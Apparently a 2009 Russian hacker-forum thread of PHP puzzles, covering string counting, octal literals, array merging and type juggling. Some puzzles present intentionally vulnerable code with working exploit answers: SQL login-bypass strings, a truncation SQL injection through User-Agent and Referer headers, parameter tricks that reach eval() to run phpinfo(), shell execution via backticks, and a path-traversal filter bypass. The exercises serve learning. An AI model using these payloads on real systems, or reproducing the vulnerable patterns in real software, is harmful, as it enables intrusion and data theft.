без флага ENT_QUOTES htmlspecialchars() будет пропускать ОДИНАРНУЮ кавычку,да и вообще она мало спец символов преобразует.... с регуляркой будет правильней наверно...

L I G A
26.08.2009, 17:12
Не ахти имхо...
без флага ENT_QUOTES htmlspecialchars() будет пропускать ОДИНАРНУЮ кавычку,да и вообще она мало спец символов преобразует.... с регуляркой будет правильней наверно...
слух,если ты такой умник то напиши с регуляркой и без гемора.

S00pY
26.08.2009, 17:39
слух,если ты такой умник то напиши с регуляркой и без гемора.
<?php
function countspec($stroka){
$count=0;
for($i=0;$i<=strlen($stroka)-1;$i++){
if(!preg_match("/[a-zA-Z0-9]/",$stroka[$i]))
{$count++;}}
Echo ('Спец символов:'.$count);
}?>
Как то так.... ;)
Не злись... я просто выразил своё мнение)

Pashkela
26.08.2009, 17:42
И у того и у другого ошибка - достаточно просто написать

$i<strlen($stroka)

счет длины начинается с единички:)

S00pY
26.08.2009, 17:46
И у того и у другого ошибка - достаточно просто написать

$i<strlen($stroka)

счет длины начинается с единички:)
Спасибо,исправил.
<?php
function countspec($stroka){
$count=0;
for($i=0;$i<strlen($stroka);$i++){
if(!preg_match("/[a-zA-Z0-9]/",$stroka[$i]))
{$count++;}}
Echo ('Спец символов:'.$count);
}
?>

L I G A
26.08.2009, 17:47
<?php
function countspec($stroka){
$count=0;
for($i=0;$i<=strlen($stroka)-1;$i++){
if(!preg_match("/[a-zA-Z0-9]/",$stroka[$i]))
{$count++;}}
Echo ('Спец символов:'.$count);
}?>
Как то так.... ;)
Не злись... я просто выразил своё мнение)
круто! ,у тебя выйдет в слове ОМГ
3 спецсимвола.
$stroka[$i]
откуда ты взял что $stroka массив?ты её перед этим explod'ил?

htmlspecialchars — Преобразует специальные символы в HTML сущности
и по моему в данном примере её будет рациональней использовать

S00pY
26.08.2009, 17:54
круто! ,у тебя выйдет в слове ОМГ
3 спецсимвола.

откуда ты взял что $stroka массив?

htmlspecialchars — Преобразует специальные символы в HTML сущности
и по моему в данном примере её будет рациональней использовать
Эм можно в рег и русские буквы добавить....
А №%:?*' htmlspecialchars пропустит

Насчёт массива возможно я не прав,я не кодер.
По привычке представляю себе строку как массив char...

Krist_ALL
26.08.2009, 18:10
LIGA,

<?php
function countspec($stroka){
$count=0;
for($i=0;$i<=strlen($stroka)-1;$i++){
if(!preg_match("/[a-zA-Z0-9]/",$stroka[$i]))
{$count++;}}
Echo ('Спец символов:'.$count);
}

?>


Надо вместо $stroka[$i] , ,$stroka{$i}

d_x
26.08.2009, 18:16
Надо вместо $stroka[$i] , ,$stroka{$i}
Можно и так и так. Пока что. В PHP6 можно только [$i].

Другое дело, что функция записывается проще:


<?php
function countspec($stroka)
{
echo 'Спецсимволов: '.preg_match_all('/[^a-zA-Z0-9]/',$stroka,$m);
}
?>

В регулярку добавьте символы, которые нужно.

L I G A
26.08.2009, 18:17
LIGA,

<?php
function countspec($stroka){
$count=0;
for($i=0;$i<=strlen($stroka)-1;$i++){
if(!preg_match("/[a-zA-Z0-9]/",$stroka[$i]))
{$count++;}}
Echo ('Спец символов:'.$count);
}

?>


Надо вместо $stroka[$i] , ,$stroka{$i}
это код S00pY, в моем все впорядке.

Pashkela
26.08.2009, 18:23
Вот мой вариант этой задачки:


<?php
function countspec($stroka) {
$count=0;
for($i=0;$i<strlen($stroka);$i++) {
if(!preg_match("#[\sa-zа-я0-9]#i",$stroka{$i})) $count++;
}
Echo ('Спец символов:'.$count);
}

countspec("Вася Пушкин Loloman !@#$%^&*()-+№");
?>


Пробел не спец символ по идее, его просто надо игнорировать, ну и большие буквы если просто модификатор i ставим и всё

Но это опять же не учитывая возможных кириллических кодировок и прочих уникодов

PS: Но самый красивый вариан конечно у d_x двумя постами выше, но с моей регуляркой + его ^ в начале, т.е. так:


<?php
function countspec($stroka)
{
echo 'Спецсимволов: '.preg_match_all('/[^\sa-zа-я0-9]/i',$stroka,$m);
}

countspec("Вася Пушкин Loloman !@#$%^&*()-+№");
?>

d_x
26.08.2009, 18:51
Ради интереса сделал бенчмарк:

<?php
set_time_limit(0);

//моя функция
function countspec($stroka)
{
return preg_match_all('/[^a-zA-Zа-яА-ЯёЁ0-9 ]/',$stroka,$m);
}

//функция Pashkela
function countspec2($stroka) {
$count=0;
for($i=0;$i<strlen($stroka);$i++) {
if(!preg_match("#[\sa-zа-я0-9]#i",$stroka{$i})) $count++;
}

return $count;
}


//для бенчмарка
function microtime_float()
{
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
}


$m=microtime_float();

for($i=0;$i<500000;$i++)
{
countspec('вася пупкин !@#45 траляля');
}


$tm=microtime_float()-$m;

print 'd_x: '.$tm.' sec<br>';



$m=microtime_float();

for($i=0;$i<500000;$i++)
{
countspec2('вася пупкин !@#45 траляля');
}


$tm=microtime_float()-$m;

print 'Pashkela: '.$tm.' sec<br>';
?>


Результат:

d_x: 4.36448502541 sec
Pashkela: 33.2198770046 sec


Моя функция в 7.5 раз быстрее)

mailbrush
26.08.2009, 19:21
Задание 024<?php

function getmicrotime() #функция, засекающая время
{
$time = explode(" ", microtime());
return ($time[0] + $time[1]);
}

$time['first']['start'] = getmicrotime(); #время начала первого цикла

for ($i = 0; $i < 10; $i++)
{
echo '1php ';
}

$time['first']['end'] = getmicrotime(); #время окончания первого цикла

$i = 0;

$time['second']['start'] = getmicrotime(); #время начала второго цикла

while ($i < 10)
{
echo 'w1';
$i += 1;
}

$time['second']['end'] = getmicrotime(); #время окончания второго цикла

$time['first']['difference'] = $time['first']['end'] - $time['first']['start']; #время работы первого цикла
$time['second']['difference'] = $time['second']['end'] - $time['second']['start']; #время работы второго цикла
$time['difference'] = $time['first']['difference'] - $time['second']['difference']; #разница во времени между циклами

echo '<br>Первый скрипт: ' . $time['first']['difference'] .
'<br>Второй скрипт: ' . $time['second']['difference'] .
'<br>Разница: ' . $time['difference']; #выводим информацию

?>
Первый скрипт: 5.5074691772461E-5
Второй скрипт: 1.978874206543E-5
Разница: 3.5285949707031E-5

mailbrush
26.08.2009, 19:37
Задание 030
В результате слияния
<?php
$a = array('cat','dog','fox');
$b = array('Moscow','London');
$c = array('RED');
$d = $b + $a + $c;
?> мы получим следующий результат
Array
(
[0] => Moscow
[1] => London
[2] => fox
)

Неожиданный результат, не правда ли? Скорее всего вы ожидали получить массив
Array
(
[0] => Moscow
[1] => London
[2] => cat
[3] => dog
[4] => fox
[5] => RED
)

Однако в PHP на этот счет свои правила. При слиятии массивов, в которых содержатся элементы с одинаковыми индексами (ключами), в результирующем массиве останется элемент первого массива. А в приведенном примере элементы массива b имели индексы - 0, 1; массива a - 0, 1, 2; массива c - 1. В итоге мы получили массив с тремя индексами:Array
(
[0] => Moscow
[1] => London
[2] => fox
)

Krist_ALL
29.08.2009, 19:07
Новые задания добавил.
Нород, пишите сюда свои задания тоже. А то тема быстро падает. Да и фантазия скоро закончится совсем(

diGriz
29.08.2009, 19:28
Задание 33
<?php $a = -1;
If($a == TRUE) echo 1; ?>


Потому что -1 считается true, как и любое ненулевое (отрицательное или положительное) число.

Задание 034
<?php
echo (int)((0.1+0.7) *10);
?>

Потому что происходит преобразование значения в целое число.

Krist_ALL
31.08.2009, 20:09
новое задание добавил. (от mailbrush)

L I G A
31.08.2009, 20:41
>>Выполнить системную команду , не используя exec,system,passthru,shell_exec
мб proc_open ?

Ch3ck
31.08.2009, 21:26
>>Выполнить системную команду , не используя exec,system,passthru,shell_exec
мб proc_open ?

<?php
echo `ls -la`;
?>
Может так? или я не про то подумал?!...

.Slip
31.08.2009, 21:39
<?php
echo `ls -la`;
?>
Может так? или я не про то подумал?!...
Обратные кавычки это аналог shell_exec

Ch3ck
31.08.2009, 22:01
Кстати echo на аналог "=" можно заменить : <?=`dir`;?>

.Slip
31.08.2009, 22:14
<? $a($b);?>
Я выиграл?:d

mailbrush
31.08.2009, 22:18
Добавил еще одно задание.
Решаем :).

FireFenix
31.08.2009, 22:56
Добавил еще одно задание.
Решаем :).
при включённых глоабалс мона обратиться

echo $GLOBALS["hello"];

mailbrush
31.08.2009, 23:20
при включённых глоабалс мона обратиться

echo $GLOBALS["hello"];
Хитрый ты :)
Нужно вывести именно значение переменной $word, а не значение массива $_GLOBALS с ключем word.

Я знаю про register_globals, но я не это имел в виду :)

d_x
31.08.2009, 23:58
А так пойдет?

$word="hello";

print ${base64_decode('d29yZA==')};


Подстроки "$word" нету, даже просто "word" нет)
Убедиться в том, что вывожу именно эту переменную можно, изменив ее содержимое.

Велемир
01.09.2009, 00:35
Насчёт Задания 34.В РНР так делать вообще кощунство,ибо это приводит к ошибке всвязи с тем,что дробь неизвестная получается.По идее,округление флоат типа к целому происходит в сторону нуля,но тут просто баг какой-то...

eLWAux
01.09.2009, 01:03
36 можно ещо так
$word = 'Hello';

$a = range('a','z');
// 22=w, 14=o, 17=r, 3=d
$a = $a[22].$a[14].$a[17].$a[3];
// $a = word
// $$a = $word
echo $$a;

mailbrush
01.09.2009, 09:41
eLWAux, это 36ое :)
Никакой конкатезации в коде не должно быть.

Я вообще-то имел в виду символические ссылки, но все три варианта хороши :)

imajo.ati
01.09.2009, 10:46
зад 36
echo $$hello

ElteRUS
01.09.2009, 12:56
Мб лучше сделать тему в Уязвимостях для заданий по уязвимостям ? Ну там обходы фильтров и тд. Было б здорово. А то здесь как-то все в куче..

gisTy
01.09.2009, 20:06
<? $a($b);?>
Я выиграл?:d
<?=`$c`?> цоце цоце цоце :D

Ch3ck
02.09.2009, 07:56
<?=`$c`?> цоце цоце цоце :D
мне кажется в 127 посту я тоже самое написал...

gisTy
02.09.2009, 20:12
мне кажется в 127 посту я тоже самое написал...
да это я так, о своем...

ElteRUS
03.09.2009, 00:53
От мну

Задание: Нужно попасть в админку, обойдите авторизацию
Меджик_квотес=офф


<?php
$login = substr($_GET['login'],0,8);
$password = substr($_GET['password'],0,8);

$login = str_replace('#', '', $login);
$login = str_replace("-", '', $login);
$login = str_replace('*', '', $login);

$password = str_replace('#', '', $password);
$password = str_replace("-", '', $password);
$password = str_replace('*', '', $password);

$login = preg_replace("/and|or/i","fuck",$login);
$password = preg_replace("/and|or/i","fuck",$password);

$query = "select * from `admin` where login = '$login' and password = '$password'";

$result = mysql_query($query);

if(mysql_num_rows($result) > 0)
{
//в админке
}
. . .
?>

Krist_ALL
03.09.2009, 01:22
Народ,ща я с мобилы,поэтому добавлять ваши задания/ответы не могу.

Подумаю над разделением заданий на темы.

В планах сделать 100 заданий) и сделать пдфку! 100 пхп заданий

DIAgen
03.09.2009, 10:48
От мну

Задание: Нужно попасть в админку, обойдите авторизацию
Меджик_квотес=офф


?=login=-1' or 1=1&password=1

m0nsieur
03.09.2009, 11:18
?=login=-1' or 1=1&password=1

а ничего что

$login = preg_replace("/and|or/i","fuck",$login);

разве замена 'or' не произойдет?

ElteRUS
03.09.2009, 11:25
?=login=-1' or 1=1&password=1

Так ведь не прокатит :)

$login = preg_replace("/and|or/i","fuck",$login);

Суть в том, чтобы обойтись без or

geezer.code
03.09.2009, 11:56
ну раз так, то OR заменим на ||

Joker-jar
03.09.2009, 12:12
geezer.code, ограничение на 8 символов. К тому же, DIAgen не обработал закрывающую логин кавычку

Joker-jar
03.09.2009, 12:37
Хм, правда не знаю :) Почти на 100% уверен что метод отсекает "and password = '$password'" так как с ним замутить выборку, не зная пароля имхо нереально. Возможно, юзается неизвестный науке тип комментария? :)

Gifts
03.09.2009, 14:12
Joker-jar 8 символов даже много ?login=&password=' || '1

Joker-jar
03.09.2009, 16:06
ОМФГ точно, что то у меня с приоритетами логических операций глюк в голове вышел ))) Gifts, крут, не проверял правда, но на глаз оно.

З.Ы. Я предполагал, что (...) or '1' мускуль скушает как истину, но что то упёрся я в этот login и все туда пытался подставлять :)

ElteRUS
03.09.2009, 19:35
?login=&password=' || '1


Отлично, это работает. Я сам виноват, нужно было учесть || . Усложняем задачу: добавляем фильтрацию | и ограничение на 6 символов :) (хотя конечно логин и пароль на 6 символов – бредово для реальных условий, ну да ладно)


<?php
$login = substr($_GET['login'],0,6);
$password = substr($_GET['password'],0,6);

$login = str_replace('#', '', $login);
$login = str_replace("-", '', $login);
$login = str_replace('*', '', $login);
$login = str_replace('|', '', $login);

$password = str_replace('#', '', $password);
$password = str_replace("-", '', $password);
$password = str_replace('*', '', $password);
$password = str_replace('|', '', $password);

$login = preg_replace("/and|or/i","fuck",$login);
$password = preg_replace("/and|or/i","fuck",$password);

$query = "select * from `admin` where login = '$login' and password = '$password'";

$result = mysql_query($query);

if(mysql_num_rows($result) > 0)
{
//в админке
}
. . .
?>


Задача та же - обойти авторизацию

Gifts
03.09.2009, 20:28
ElteRUS Эээ, в рот мне ноги, я не понимаю почему это работает, но, ведь, работает ?login=\&password=%2B'

Уточняю, выбирает из таблицы почти все записи +- 400 (из 40к) С другими таблицами и другими серверами мускуля - тоже самое, выбирает записи, но не все

ElteRUS
03.09.2009, 20:57
ElteRUS Эээ, в рот мне ноги, я не понимаю почему это работает, но, ведь, работает ?login=\&password=%2B'


Хм, да это то, только своеобразно оформлено но сути не меняет, твой вариант даже круче ))
Я рассчитывал на такое:

Логин '='
Пароль '='

Либо так a'='a в логин и пароль. Давайте посмотрим на получившиеся запрос:

select * from `admin` where login = 'a'='a' and password = 'a'='a'

Такой запрос прокатит. Выполните у себя на локалхосте

Select * from mysql.user where user = 'a'='a';

Выведутся все записи таблицы. Ну тот факт, что mysql поддерживает прямое сравнение строк – известен. Но дальше круче )) Выполните такое

Select * from mysq.user where user = 'aasdfsdf'='usu';

И это прокатит. Хотя очевидно, что эти строки не равны.
Твой пример из той же оперы

select * from `admin` where login = '\' and password = '%2B''


Только здесь видно что кроме = может быть и +, а так же * - )))

famnam
04.09.2009, 12:54
Объясните пожалуйста по зад.34.
echo (int)((0.1+0.7) *10);

почему выводит 7? и 8 если echo (int)(0.8*10)...
каким образом сумма в скобках влияет на результат? ведь 0,1+0,7=0,8
и при приведении к целому, д.б. просто откинуться дробная часть...

Krist_ALL
04.09.2009, 13:12
Подробное разъяснение случая с 'а'='б'='с' http://bugs.mysql.com/bug.php?id=39337
это не баг,а преобразование типов.

Фамнам, это непредсказуемо в некоторых случаях,зависит от платформы ,на которой исполняется пхп код.

famnam
04.09.2009, 13:33
спасибо, Krist_ALL

Joker-jar
04.09.2009, 14:57
хотя конечно логин и пароль на 6 символов – бредово для реальных условий
так еще бредовей с логинов и пассов юзеров подстроки 'and' и 'or' удалять )))

Krist_ALL
18.09.2009, 14:34
Добавил еще 3 задания.
//ОФТОП
Завтра пойду в институт первый раз, волнуюсь) Поддержим Krist_ALLа!

Gray_Wolf
18.09.2009, 15:27
38.

<?php
function ch($num,$str){
$res=str_split($str);
$i=0;
while ($i < count($num)){
$cn=$num[$i]-1;
$res[$cn]=strtoupper($res[$cn]);
$i++;
}
return implode("",$res);
}
?>

Gray_Wolf
18.09.2009, 15:32
39.
Всё дело в динамической типизации PHP.

gisTy
18.09.2009, 16:33
38.

<?php
function ch($num,$str){
$res=str_split($str);
$i=0;
while ($i < count($num)){
$cn=$num[$i]-1;
$res[$cn]=strtoupper($res[$cn]);
$i++;
}
return implode("",$res);
}
?>

наркоманы млять
<?php
function ch($num,$str){

foreach($num as $key => $value)
$str[$value-1] = strtoupper($str[$value-1]);

return $str;
}
?>

39:
Выведет 0
Я не знаю почему так, но думаю из-за следующего.
Все происходит из-за динамического определения типа переменной.
ноль вначале свидетельствует что значение переменной - восьмеричное число, но так как после нуля идет 8, чего в восмеричном представлении быть не может, то число превращается в ноль.
Еще раз повторю, что я не знаю почему так, но с другими системами счисления не получилось добиться такого результата. в десятично и шестнадцатиричном все время ругается так:Parse error: syntax error, unexpected T_STRINGА вообще я просто не знаю где об этом можно нормально почитать. Отсюда и все проблемы

40:

<?php
$a[1]['a'] = 'lol';
$a[1]['b'] = 'heh';
$a[2]['a'] = 'gygy';
$a[2]['b'] = 'smeh';

$b = array();

$i = 0;

foreach($a as $val)
foreach($val as $value => $key)
$b[$i++] = $key;

print_r($b);
?>
хотя думаю можно как-нибудь и покороче сделать

Van Bekannt
19.09.2009, 23:17
Задание 40:
<?php

$a[1]['a'] = 'lol';
$a[1]['b'] = 'heh';
$a[2]['a'] = 'gygy';
$a[2]['b'] = 'smeh';

$result = array();

slice_array( $a );

echo '<pre>';

print_r( $result );

function slice_array( $array = array() ) {
global $result;
foreach( $array as $value ) {
if( is_array( $value ) ) slice_array( $value );

else $result[] = $value;
}

}

?>
Эта функция "плющит" любой массив...
Ну или если не хотите заморачиваться с глобальными переменными:
function slice_array( $array = array(), &$result ) {
foreach( $array as $value ) {
if( is_array( $value ) ) slice_array( $value, $result );
else $result[] = $value;
}
}
Первый аргумент - массив который надо плющить, а второй - куда все запишется ( передается указатель на массив, т.е. он должен быть заранее определен )

Задача 39:
восьмеричные числа имеют следующее правило:
0[0-7]+
ноль впереди и дальше числа от 0 до 7 ( не выше - на то они и восьмеричные числа ). все что выше == 0
Поэтому эта программа выведет 0. Чтобы вывести 8 нужно написать: 010

По поводу задачи 38 - думаю gisTy норм решение дал...

Grema
22.09.2009, 10:39
Задание 38

function ch($num,$str){
foreach($num as $value)
if($value<strlen($str))
$str[$value-1] = strtoupper($str[$value-1]);
return $str;
}


во первых там $key в foreach не нужен если на то уже пошло... и небольшой проверки на то что если значение в массиве больше чем букв в строке тоже как бы не мешало :)

Grema
22.09.2009, 10:46
и сам же забыл поставить -1 в if-е :)

Extremal
22.09.2009, 11:03
Задание 039
Что выведет скрипт и почему.

<?php
$i = 08;
echo $i;
?>


Выведет 0 потому что,без кавычек считается что это числовое значение.

Krist_ALL
06.10.2009, 15:07
2 новых задания ждут вас)

SleepShadowWeb
06.10.2009, 16:14
содержимое файла sort.php
if(str_replace('\\', '/', __FILE__) != $_SERVER['SCRIPT_FILENAME']) echo 'included'; else echo 'svoi';

Krist_ALL
06.10.2009, 16:52
мона еще и подругому)

mailbrush
06.10.2009, 18:34
№ 41
<?php

if ('/' . $lamer != $_SERVER['PHP_SELF'])
{
die('Hacking attempt!');
}

?>

gisTy
06.10.2009, 22:53
#41echo (strpos(__FILE__,$_SERVER['PHP_SELF']) !== false) ? "all right\n" : "include\n";как-то так

Andres
07.10.2009, 00:33
<?php
$i = 08;
echo $i;
?>

Только начал учить PHP, и понятно что логично было б подумать, что на экран выведит строку "08".
Некоторые говорят что только 0, почему, кто пояснит?

gisTy
07.10.2009, 09:50
2 AndresЗадача 39:
восьмеричные числа имеют следующее правило:
0[0-7]+
ноль впереди и дальше числа от 0 до 7 ( не выше - на то они и восьмеричные числа ). все что выше == 0
Поэтому эта программа выведет 0. Чтобы вывести 8 нужно написать: 010

SleepShadowWeb
07.10.2009, 17:41
$rez = create(5);
var_dump($rez);

function &create($n)
{
eval("\$b". str_repeat('[0]', $n) . " = 0;");
return $b;
}


function createArr($n) {
$a = array();
while(--$n) {
$a = array($a);
}
return $a;
}

d_x
14.10.2009, 23:48
Новое задание от меня.

Определить, что делает скрипт и описать это по шагам (несущих смысловую нагрузку в скрипте буквально 5-7 строк).

Скрипт выводит некое число. Откуда оно берется? Почему оно такое? По шагам.


Скачать скрипт:
http://slil.ru/28081439
http://dump.ru/file/3582271

P.S. Мой обфускатор)

L I G A
15.10.2009, 00:02
1eval()//выполняет код
2 возвращает оригинальные несжатые данные после gzcompress();
3 base64_decode()//декодирует данные, закодированные base64_encode();

d_x
15.10.2009, 00:03
Я прошу рассказать, что скрыто под всем этим. Скрипт выводит некое число. Откуда оно берется? Почему оно такое? По шагам.

The_HuliGun
15.10.2009, 00:12
<?php
$i = 08;
echo $i;
?>

Только начал учить PHP, и понятно что логично было б подумать, что на экран выведит строку "08".
Некоторые говорят что только 0, почему, кто пояснит?

Если запись числа в пхп начинается с цифры 0, значит число записано в восьмеричной системе исчисления, а так как в восьмеричной системе используються цифры от 0 к 7, а цифра 8 не используется, то в результате интерпретатор виводит число 0.

mailbrush
15.10.2009, 01:06
d_x,

Назначает переменной $GLOBALS['_B_'] массив из 11 элементов, значение которых - base64_decode.
Ф-ция B($i) возвращает декодированный base64 элемент массива $a, индекс которого находится в аргументе ф-ции, в котором находятся дважды кодированные base64 названия ф-ций, заголовков, протокола tcp:// и одной регулярки (мб там еще что-то есть, но я больше не копал).
Назначает переменной $GLOBALS['_A_'] массив из 10 элементов
[_A_] => Array
(
[0] => fsockopen
[1] => stream_set_timeout
[2] => fputs
[3] => fputs
[4] => feof
[5] => fgets
[6] => fclose
[7] => preg_match
[8] => str_replace
[9] => mt_rand
)
Ф-ция A возвращает декодированный base64 (название ф-ции берется из $GLOBALS['_B_'][10], а она (как было сказано выше) - base64_decode) элемент массива из массива $__, с индексом - аргументом этой ф-ции.
Далее идёт соединение по tcp://www.yandex.ru и выводится ошибка создания сокета (если есть). Потом в цикле while() считывается полученный ответ. Дальше по регулярке /<strong>([,\d]+)<\/strong><\/td><td>.{1,10}<\/td><\/tr><\/tbody><\/table>/Usi находит вхождение (это курс валют). Но ничего не находит, т.к. нету вхождений. Соответственно после проверки на isset() 0.0 (запятая заменена на точку str_replace) умножается на 100, к этому прибавляется... аааа... Вот это подстава :) И ради банального рандума я сидел более часа над этим кодом?

Хех, спасибо, немного пошевелил мозгами :) Иногда полезно... Респект за задумку...

d_x
15.10.2009, 01:16
Отлично, +5 :)
Вот исходный код:



<?php
$header="Host: www.yandex.ru\r\n";
$header.="User-Agent: MSIE 7.0 Win\r\n";
$header.="Connection: close\r\n";
$header.="\r\n";

$addquery="GET / HTTP/1.0\r\n";
$host='www.yandex.ru';
$fp=fsockopen("tcp://".$host,80,$errno,$errstr,30);

stream_set_timeout($fp,30);

if(!$fp)
{
print "<font color=red>Socket error: <i>$errstr ($errno)</i></font><br>";
die();
}

fputs($fp,$addquery);
fputs($fp,$header);
$ret='';

while(!feof($fp))
{
$ret.=fgets($fp, 128);
}

fclose($fp);

preg_match("/<strong>([,\d]+)<\/strong><\/td><td>.{1,10}<\/td><\/tr><\/tbody><\/table>/Usi",$ret,$m);
$m=isset($m[1]) ? $m[1] : '0,0'; //получаем курс нефти с яндекс.ру(если не удается, то 0.0)
$m=str_replace(',','.',$m); //заменяем запятую на точку
$m=(int)$m*100+mt_rand(1,99); //умножаем целую часть курса на 100 и прибавляем рандомное число от 1 до 99
print $m; //выводим
?>

magnat_8
24.10.2009, 00:23
<?
$str="11111 222222";
preg_match("#(.*) (.*)#is",$str,$m);
echo "$m[2] $m[1]";
?>

(Dm)
07.11.2009, 18:37
Вот задачка от меня, найдите уязвимость в коде.
Структура БД:
CREATE TABLE stats (id int unsigned not null PRIMARY KEY AUTO_INCREMENT, useragent varchar(255), ip varchar(16), referer varchar(255));


<?php

mysql_connect('localhost', 'root', 'secretpassword');
mysql_select_db('antichat');

//Обработка переменных
function Sanitize($data_to_sanitize) {
$data_to_sanitize = addslashes($data_to_sanitize);
$data_to_sanitize = htmlspecialchars($data_to_sanitize);
return $data_to_sanitize;
}


function Sanitize_Array($value) {
$value = is_array($value) ? array_map('Sanitize_Array', $value) : Sanitize($value);
return $value;
}

$_SERVER = array_map('Sanitize_Array', $_SERVER);

$sql = "INSERT INTO stats (ip, useragent, referer)
VALUES ('".substr($_SERVER['REMOTE_ADDR'],0,16)."', '".substr($_SERVER['HTTP_USER_AGENT'],0,255)."', '".substr($_SERVER['HTTP_REFERER'],0,255)."')";

mysql_query($sql);
mysql_close();

?>

L I G A
07.11.2009, 22:04
(Dm) уже не интересно
ЗЫ статья +5

Osip
08.11.2009, 08:41
да, последняя банальна..
$_SERVER['HTTP_USER_AGENT'] и $_SERVER['HTTP_REFERER']

EST a1ien
08.11.2009, 09:39
Еще более компактный код в ответ на 11 вопрос

$str='
383 текст с числами 5838
635 еще текст 001 462
432текст564
';

$str=preg_replace("/(\d+)/se","'0x'.strtoupper(dechex(\\1))",$str);

print $str;

Termin@L
09.11.2009, 15:38
по поводу задания 41:
get_included_files()
функция выдаст сначала файл, из которого произошёл вызов, а затем всё что в нём заинклудилось.
задание 42:

<?php
function arr($amt)
{
$a=array();
$tmp=&$a;
for($i=0;$i<$amt-2;$i++)
{

$tmp=&$tmp[0];
$tmp[0]=array();
}
return $a;
}
?>

тока в последнем одна проблема - там, почему то предпоследний вложенный массив - ссылка, ну да не суть, вложенность всё равно нужная, и фактически это и есть массив, просто ссылается на место хранения другой переменной)

HAXTA4OK
11.11.2009, 12:09
<?php
$a = (int) $_GET['a'];
if ($_GET['a'] == 1)
exit;
elseif($a == 1)
eval ($_GET['b']);
?>

Вывести phpinfo(); всеми способами

(Dm)
11.11.2009, 14:53
да, последняя банальна..
если ты эт про мое задание, напиши как выполнить sql инъекцию.

mailbrush
11.11.2009, 15:25
если ты эт про мое задание, напиши как выполнить sql инъекцию.
Да очень просто... Я уже один раз встречался с подобным :)

Юзер-агент ставим:
00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 0000\
Реферер:
, concat_ws(0x3a,user(),database(),version())) --

И таким образом в поле "Реферер" запишется юзер, бд, версия. Почему? Да потому что substr() обрезает строку до 255 символов, а у нас она 256 символов - 254 нуля и слешированый слеш, тоесть \\. Ну а дальше по логике запроса идет:


INSERT INTO stats (ip, useragent, referer)

VALUES

(

'127.0.0.1',

'000...много нулей...00\',',

concat_ws(0x3a,user(),database(),version())

)

--')

ЗЫ: Вот тут была похожая ситуация:
http://forum.antichat.ru/threadnav134652-1-10.html

(Dm)
11.11.2009, 15:33
mailbrush, молодец) что выполнил задание... тебе +

nerezus
11.11.2009, 16:35
Задание 006: просто зайти. Пароль не потребует ;)

Ctacok
11.11.2009, 16:54
<?php
$a = (int) $_GET['a'];
if ($_GET['a'] == 1)
exit;
elseif($a == 1)
eval ($_GET['b']);
?>

Вывести phpinfo(); всеми способами
?a[]=1&b=phpinfo();
всё :)

mailbrush
11.11.2009, 17:08
Ctacok, не все :)
?a=1.1&b=phpinfo();
?a=1e10&b=phpinfo();
?a[]=1&b=phpinfo();

L I G A
11.11.2009, 18:47
многомерный массив
?a[[[[[[[]]]]]]]=1&b=phpinfo();

Krist_ALL
12.11.2009, 16:32
3 новых задания!

+ 042 заменил т.к. оно было похоже на одно из предыдущих.

Перенес все задания в первый пост.
Он заполнен.
Теперь во втором посте буду писать задания.
Когда и он переполнится, создам новую тему.
Спасибо всем кто добавляет свои задания.
УДАЧИ!

diGriz
12.11.2009, 16:56
Задание 046
Чем отличается $a = $i++; от $a = ++$i;
++$i - префиксный вариант инкремента
$i++ - постфиксный
Префиксный оператор вычисляется до присвоения, постфиксный после.

diGriz
12.11.2009, 20:11
Задание 048

//Мы вызываем функцию cat с 3мя параметрами
cat(1,2,3);


function cat(......)
{
................
return //Функция должна вернуть число аргументов, которые мы передаем при её вызове.
// cat(1) функция должна вернуть 1
// cat(1,2,,5,8,5,478,8,5) функция должна вернуть 8
}


Узнаем кол-во аргументов, с помощью функции func_num_args()


<?php
function cat()
{
$numargs = func_num_args();
echo $numargs;
}

cat(1,2,5,8,5,478,8,5);
?>

Krist_ALL
12.11.2009, 20:12
ВЕРНО.
048 и 046 правильно сделал.

Krist_ALL
12.11.2009, 20:39
50 заданий всего!
самая большая сборка пхп заданий)
будем продолжать в том же темпе.
Напомню:

Если ты придумал свое задание, не стесняйся , пости, я добавлю во второй пост
Если ты знаешь как улучшить задания или тебе что-то не нравится, пиши сюда или мне в аську.

L I G A
12.11.2009, 22:15
050
echo count(file($_SERVER['SCRIPT_NAME']))-2;

z00MAN
13.11.2009, 13:41
Задание 042

index.php?filename=....//a.php

Krist_ALL
13.11.2009, 18:08
LIGA и zOOMAN , правильно решили!

EST a1ien
24.11.2009, 04:27
Ответ на 49 вопрос
С $GLOBALS нельзя выполнить var_export так-как
var_export() возвращает структурированную информацию о данной переменной. Функция аналогична var_dump() за одним исключением: возвращаемое представление является полноценным PHP кодом.

А $GLOBALS содержит рекурсию
Тобеж невозможно создать на пхп такой код который создаст бесконечно рекурсивный массив.

Krist_ALL
25.11.2009, 11:54
Ответ на 49 вопрос
С $GLOBALS нельзя выполнить var_export так-как

А $GLOBALS содержит рекурсию
Тобеж невозможно создать на пхп такой код который создаст бесконечно рекурсивный массив.
еше unset нельзя делать

imajo.ati
25.11.2009, 21:32
Тобеж невозможно создать на пхп такой код который создаст бесконечно рекурсивный массив.


<?php
$a = array(1,2,3);
$a['recursion'] = &$a;
print_r($a);

Krist_ALL
30.11.2009, 17:59
Проект закрыт! Задания больше не будет. Я объясню почему.
После смены алгоритма репутации, народ перестал решать задания, оказывается раньше люди решали задания за +++++, а ведь они еще приобретали опыт и новые знания. Но главным для них были +++++. Очень жаль. Спасибо всем , кто добавлял свои задания. Я планировал много интересных задания и книгу 100 заданий php. А сейчас заданий только 50. Может быть задания появються на другом всем известном портале. И всеже ВСЕМ респект огромный!!!

m0Hze
30.11.2009, 18:31
книгу 100 заданий php

Донцова чтоле? и какой "проэкт"? Ты слишком многое о себе возомнил,мальчуган.
Даже допишу.Тема была интересной,но никак не "проэктом" и почти все эти задания есть на различных ресурсах,чтоит только поискать.А почему тему не изренеймили,до сих пор загадка.